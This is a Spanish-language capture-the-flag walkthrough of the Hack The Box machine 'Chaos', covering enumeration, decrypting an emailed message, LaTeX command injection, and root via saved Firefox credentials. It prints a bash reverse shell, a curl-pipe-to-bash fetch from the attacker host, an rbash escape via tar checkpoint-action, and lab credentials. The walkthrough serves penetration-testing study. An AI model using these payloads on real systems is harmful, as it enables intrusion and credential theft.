Chaos



Conocimientos

  • Enumeración Web

  • Password Guessing

  • Crypto Challenge

  • LaTeX Injection

  • Bypass rbash

  • Abuso de perfiles de Firefox (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.120 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-15 12:59 GMT
Nmap scan report for 10.10.10.120
Host is up (0.084s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
110/tcp   open  pop3
143/tcp   open  imap
993/tcp   open  imaps
995/tcp   open  pop3s
10000/tcp open  snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 12.23 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN porstscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-15 12:59 GMT
Nmap scan report for 10.10.10.120
Host is up (0.084s latency).

PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: SASL STLS RESP-CODES CAPA AUTH-RESP-CODE UIDL PIPELINING TOP
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: have LITERAL+ IMAP4rev1 LOGINDISABLEDA0001 ID OK STARTTLS IDLE listed more Pre-login SASL-IR LOGIN-REFERRALS post-login capabilities ENABLE
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: have LITERAL+ IMAP4rev1 ID OK more IDLE listed post-login Pre-login SASL-IR LOGIN-REFERRALS capabilities ENABLE AUTH=PLAINA0001
995/tcp   open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL(PLAIN) USER RESP-CODES CAPA AUTH-RESP-CODE UIDL PIPELINING TOP
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.03 seconds

Añado el dominio chaos.htb al /etc/hosts

Puerto 80,10000 (HTTP, HTTPS)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.10.120
http://10.10.10.120 [200 OK] Apache[2.4.34], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.34 (Ubuntu)], IP[10.10.10.120]

Le tramito una petición por GET, pero casi no recibo información

curl -s -X GET http:/10.10.10.120
<h1><center><font color="red">Direct IP not allowed</font></center></h1>

Introduzco el dominio, ya que se está aplicando Virtual Hosting

whatweb http://chaos.htb
http://chaos.htb [200 OK] Apache[2.4.34], Bootstrap, Country[RESERVED][ZZ], Email[info@chaos.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.34 (Ubuntu)], IP[10.10.10.120], JQuery[3.2.1], Script, Title[Chaos]

La página principal se ve así:

Aplico fuzzing para encontrar subdominios

wfuzz -c -t 200 --hh=73 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.chaos.htb" http://chaos.htb/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://chaos.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000005:   200        120 L    386 W      5607 Ch     "webmail"                                                                                                                                       

Total time: 20.92195
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 238.4576

Lo añado al /etc/hosts corresponde a un RoundCube

No tengo forma de autenticarme. Por el puerto 10000 hay un Webmin, pero tampoco tengo credenciales

Aplico fuzzing para descubrir rutas. Pero sigo sin encontrar nada de utilidad

gobuster dir -u http://chaos.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://chaos.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/06/15 13:19:50 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 304] [--> http://chaos.htb/img/]
/css                  (Status: 301) [Size: 304] [--> http://chaos.htb/css/]
/source               (Status: 301) [Size: 307] [--> http://chaos.htb/source/]
/js                   (Status: 301) [Size: 303] [--> http://chaos.htb/js/]    
/javascript           (Status: 301) [Size: 311] [--> http://chaos.htb/javascript/]
/server-status        (Status: 403) [Size: 297]                                   
                                                                                  
===============================================================
2023/06/15 13:23:34 Finished
===============================================================

Voy a hacer lo mismo pero introduciendo la IP en vez del dominio

gobuster dir -u http://10.10.10.120/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.120/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/06/15 13:22:34 Starting gobuster in directory enumeration mode
===============================================================
/wp                   (Status: 301) [Size: 309] [--> http://10.10.10.120/wp/]
/javascript           (Status: 301) [Size: 317] [--> http://10.10.10.120/javascript/]
/server-status        (Status: 403) [Size: 300]                                      
                                                                                     
===============================================================
2023/06/15 13:26:20 Finished
===============================================================

Tengo acceso a un WordPress

Veo que el Post está protegido con contraseña. Como el que lo escribió fue human, pruebo esa misma contraseña

Obtengo las credenciales para el RoundCube

Dentro hay un mensaje

Tiene dos archivos adjuntos

El de texto está encriptado, no es legible

catr enim_msg.txt
0000000000000234zسpK8ZC^9kW&w9ܾE'q[9Z3.C;36R`n
                                             퍦3>}3AdFY
                                                       YDo!R#~[8a4❄á>)KM^zI,ݨBqݕYqˏRqMߟ.wʢF@m9
                                                                                              JD(^75~"}0?UqX(r]wzGO

Otra forma de conectarme es a través del puerto 993 con openssl

openssl s_client -connect 10.10.10.120:993

---
read R BLOCK
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] Dovecot (Ubuntu) ready.
a LOGIN ayush jiujitsu
a OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY LITERAL+ NOTIFY SPECIAL-USE] Logged in
LIST "" "*"
LIST BAD Error in IMAP command "": Unknown command (0.001 + 0.000 secs).
a LIST "" "*" 
* LIST (\NoInferiors \UnMarked \Drafts) "/" Drafts
* LIST (\NoInferiors \UnMarked \Sent) "/" Sent
* LIST (\HasNoChildren) "/" INBOX
a OK List completed (0.001 + 0.000 + 0.001 secs).
a SELECT Drafts
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1540728611] UIDs valid
* OK [UIDNEXT 5] Predicted next UID
a OK [READ-WRITE] Select completed (0.001 + 0.000 secs).
a FETCH 1 BODY.PEEK[]
* 1 FETCH (BODY[] {2532}
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=_00b34a28b9033c43ed09c0950f4176e1"
Date: Sun, 28 Oct 2018 17:46:38 +0530
From: ayush <ayush@localhost>
To: undisclosed-recipients:;
Subject: service
Message-ID: <7203426a8678788517ce8d28103461bd@webmail.chaos.htb>
X-Sender: ayush@localhost
User-Agent: Roundcube Webmail/1.3.8

--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII;
 format=flowed

Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush

--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: application/octet-stream;
 name=enim_msg.txt
Content-Disposition: attachment;
 filename=enim_msg.txt;
 size=272

MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9
RdPkJ3GSW57onvseOe5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M
7Y2mM6I+lH0zQb6Xt/JkhOZGWQzH4llEbyHvvlIjfu+MW5XrOI6QAeXGYTTinYSutsOhPilLnk1e
6Hq7AUnTxcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3LOQuRFkpE/LS10yge
+l6ON4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlyz5gIv12tAHf7kpZ6R08=
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: text/x-python; charset=us-ascii;
 name=en.py
Content-Disposition: attachment;
 filename=en.py;
 size=804

ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBv
dXRwdXRGaWxlID0gImVuIiArIGZpbGVuYW1lCiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdl
dHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCkucmVhZCgxNikK
CiAgICBlbmNyeXB0b3IgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXRo
IG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0
RmlsZSwgJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cml0ZShmaWxlc2l6
ZS5lbmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAg
ICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVu
a3NpemUpCgogICAgICAgICAgICAgICAgaWYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAg
ICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAxNiAhPSAwOgog
ICAgICAgICAgICAgICAgICAgIGNodW5rICs9IGInICcgKiAoMTYgLSAobGVuKGNodW5rKSAlIDE2
KSkKCiAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKGVuY3J5cHRvci5lbmNyeXB0KGNodW5r
KSkKCmRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICBoYXNoZXIgPSBTSEEyNTYubmV3
KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgcmV0dXJuIGhhc2hlci5kaWdl
c3QoKQoK
--=_00b34a28b9033c43ed09c0950f4176e1--
)
a OK Fetch completed (0.001 + 0.000 secs).

Busco por el script en Google y encuentro un repositorio en Github con el decrypt.py. Instalo la libería pycryptome

pip2 install pycryptodome

Ejecuto pásandole como contraseña la que se indicaba en el correo

python2 decrypt.py
Enter filename: enim_msg.txt
Enter password: sahay

Devuelve un mensaje en base64 con una URL

cat im_msg.txt | tr -d "\n" | base64 -d
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush

Accedo desde el navegador. Es un conversor de texto a PDF

Aplico fuzzing dentro de ese directorio

gobuster dir -u http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/06/15 14:12:14 Starting gobuster in directory enumeration mode
===============================================================
/templates            (Status: 301) [Size: 337] [--> http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/templates/]
/pdf                  (Status: 301) [Size: 331] [--> http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/]      
/doc                  (Status: 301) [Size: 331] [--> http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/doc/]      
/assets               (Status: 301) [Size: 334] [--> http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/assets/]   
/source               (Status: 301) [Size: 334] [--> http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/source/]   
/tex                  (Status: 301) [Size: 331] [--> http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/tex/]      
/compile              (Status: 301) [Size: 335] [--> http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/compile/]  
                                                                                                            
===============================================================
2023/06/15 14:15:59 Finished
==============================================================

Dentro de /pdf puedo ver los archivos generados. La única plantilla que funciona para compilarlos es test2. Pruebo a cargar el /etc/passwd

content=\input{/etc/passwd}&template=test2

Pero este comando está bloqueado

HTTP/1.1 200 OK
Date: Thu, 15 Jun 2023 14:17:31 GMT
Server: Apache/2.4.34 (Ubuntu)
Content-Length: 25
Connection: close
Content-Type: text/html; charset=UTF-8

BLACKLISTED commands used

Sin embargo, puedo ejecutar comandos directamente

content=\immediate\write18{ping -c 1 10.10.16.6 > /dev/null}&template=test2

Recibo la traza en mi equipo

tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:19:39.376521 IP 10.10.10.120 > 10.10.16.6: ICMP echo request, id 8757, seq 1, length 64
14:19:39.376549 IP 10.10.16.6 > 10.10.10.120: ICMP echo reply, id 8757, seq 1, length 64

Creo un archivo index.html que se encargue de enviarme una reverse shell

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'

Lo comparto con un servicio HTTP con python e interpreto

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.120 - - [15/Jun/2023 14:21:33] "GET / HTTP/1.1" 200 -
content=\immediate\write18{curl 10.10.16.6 | bash > /dev/null}&template=test2

Gano acceso en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.120] 53372
bash: cannot set terminal process group (1073): Inappropriate ioctl for device
bash: no job control in this shell
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ script /dev/null -c bash
<f1Nd_n07H1n9_H3r3/compile$ script /dev/null -c bash             
Script started, file is /dev/null
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
<n/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ export TERM=xterm                     
shw-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ export SHELL=ba 
lumns 209chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ stty rows 55 co 

Se reutilizan las credenciales que vi en el WordPress para ayush

www-data@chaos:/$ su ayush
Password: 
ayush@chaos:/$ 

Estoy en una Restricted Bash

ayush@chaos:/$ echo $SHELL
/opt/rbash

Dandole dos veces a la tecla TAB me aparecen los comandos que puedo ejecutar

ayush@chaos:/$ 
!                         break                     coproc                    esac                      getopts                   mapfile                   set                       true
./                        builtin                   declare                   eval                      hash                      ping                      shift                     type
:                         caller                    dir                       exec                      help                      popd                      shopt                     typeset
[                         case                      dirs                      exit                      history                   printf                    source                    ulimit
[[                        cd                        disown                    export                    if                        pushd                     suspend                   umask
]]                        command                   do                        false                     in                        pwd                       tar                       unalias
{                         command_not_found_handle  done                      fc                        jobs                      read                      test                      unset
}                         compgen                   echo                      fg                        kill                      readarray                 then                      until
alias                     complete                  elif                      fi                        let                       readonly                  time                      wait
bg                        compopt                   else                      for                       local                     return                    times                     while
bind                      continue                  enable                    function                  logout                    select                    trap                      

Con tar existe una forma de spawnear una shell, en mi caso una sh

ayush@chaos:/$ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
$

No puedo ejecutar comandos de forma relativa ya que la variable de entorno $PATH no los contempla

$ whoami
/bin/sh: 6: whoami: not found
$ echo $PATH
/home/ayush/.app

Exporto mi PATH al de la máquina víctima

$ export PATH=$PATH:/root/gems/bin:/root/gems/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/opt:/opt/go/bin:/opt/gradle/gradle-7.5.1/bin:/opt/zerologon:/home/rubbx/.cargo/bin/:/usr/share/metasploit-framework/tools/exploit/:/home/root/.local/bin:/root/.fzf/bin:/opt:/opt/go/bin:/opt/gradle/gradle-7.5.1/bin:/opt/zerologon:/home/rubbx/.cargo/bin/:/usr/share/metasploit-framework/tools/exploit/:/home/root/.local/bin

Convierto la sh en una bash

$ bash
ayush@chaos:/$ 

Puedo ver la primera flag

ayush@chaos:~$ cat user.txt 
231115abbbbdac9b61e1e6fb337d3bf1

Escalada

En el directorio personal de ayush hay uno oculto de .mozilla

ayush@chaos:~$ ls -la
total 40
drwx------ 6 ayush ayush 4096 Jun 15 14:29 .
drwxr-xr-x 4 root  root  4096 Jun 30  2022 ..
drwxr-xr-x 2 root  root  4096 Jun 30  2022 .app
lrwxrwxrwx 1 root  root     9 Jul 12  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ayush ayush  220 Oct 28  2018 .bash_logout
-rwxr-xr-x 1 root  root    22 Oct 28  2018 .bashrc
drwx------ 3 ayush ayush 4096 Jun 15 14:29 .gnupg
drwx------ 3 ayush ayush 4096 Jun 15 14:14 mail
drwx------ 4 ayush ayush 4096 Jun 30  2022 .mozilla
-rw-r--r-- 1 ayush ayush  807 Oct 28  2018 .profile
-rw------- 1 ayush ayush   33 Jun 15 13:33 user.txt

Me transfiero los pefiles del Firefox

ayush@chaos:~/.mozilla/firefox$ ls
 bzo7sjt1.default  'Crash Reports'   profiles.ini

Transfiero el key4.db y logins.json que se encuentran dentro del perfil bzo7sjt1.default a mi equipo y con firepwd intento obtener las credenciales

ls
firepwd.py  key4.db  LICENSE  logins.json  mozilla_db  mozilla_pbe.pdf	mozilla_pbe.svg  readme.md  requirements.txt

Pero al ejecutar no me devuelve nada

python3 firepwd.py
globalSalt: b'ce217b15a232c6d55974a97b75b8e2f115548bca'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
     SEQUENCE {
       OCTETSTRING b'e9185cea066987cd3e8ef34836fdb922502dd672'
       INTEGER b'01'
     }
   }
   OCTETSTRING b'4d65d78ef77c2953797eaea3bce5ded4'
 }
entrySalt: b'e9185cea066987cd3e8ef34836fdb922502dd672'
b'2647e61e0acd163f83d01991cfb8dc41'
password check? False

Esto es porque espera una contraseña maestra, que corresponde a la que ya se ha reutilizado más de una vez

python3 firepwd.py --password="jiujitsu"
globalSalt: b'ce217b15a232c6d55974a97b75b8e2f115548bca'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
     SEQUENCE {
       OCTETSTRING b'e9185cea066987cd3e8ef34836fdb922502dd672'
       INTEGER b'01'
     }
   }
   OCTETSTRING b'4d65d78ef77c2953797eaea3bce5ded4'
 }
entrySalt: b'e9185cea066987cd3e8ef34836fdb922502dd672'
b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
     SEQUENCE {
       OCTETSTRING b'e5c6c1e0fac4cec04a8e4cb8e97e25e17e68ced6'
       INTEGER b'01'
     }
   }
   OCTETSTRING b'd463adb7768fedab71c2689bf396fd4b6e7274fed50fc5cf6734be85e68d3fac'
 }
entrySalt: b'e5c6c1e0fac4cec04a8e4cb8e97e25e17e68ced6'
b'd3a8b3c7c8ef7038e062a4e9d6861fb343191926a4fd40730808080808080808'
decrypting login/password pairs
https://chaos.htb:10000:b'root',b'Thiv8wrej~'

Me convierto en root y puedo ver la segunda flag

ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ su root
Password: 
root@chaos:/home/ayush/.mozilla/firefox/bzo7sjt1.default# cat /root/root.txt 
2de0e45053a4a8c542ff3415cf8b750b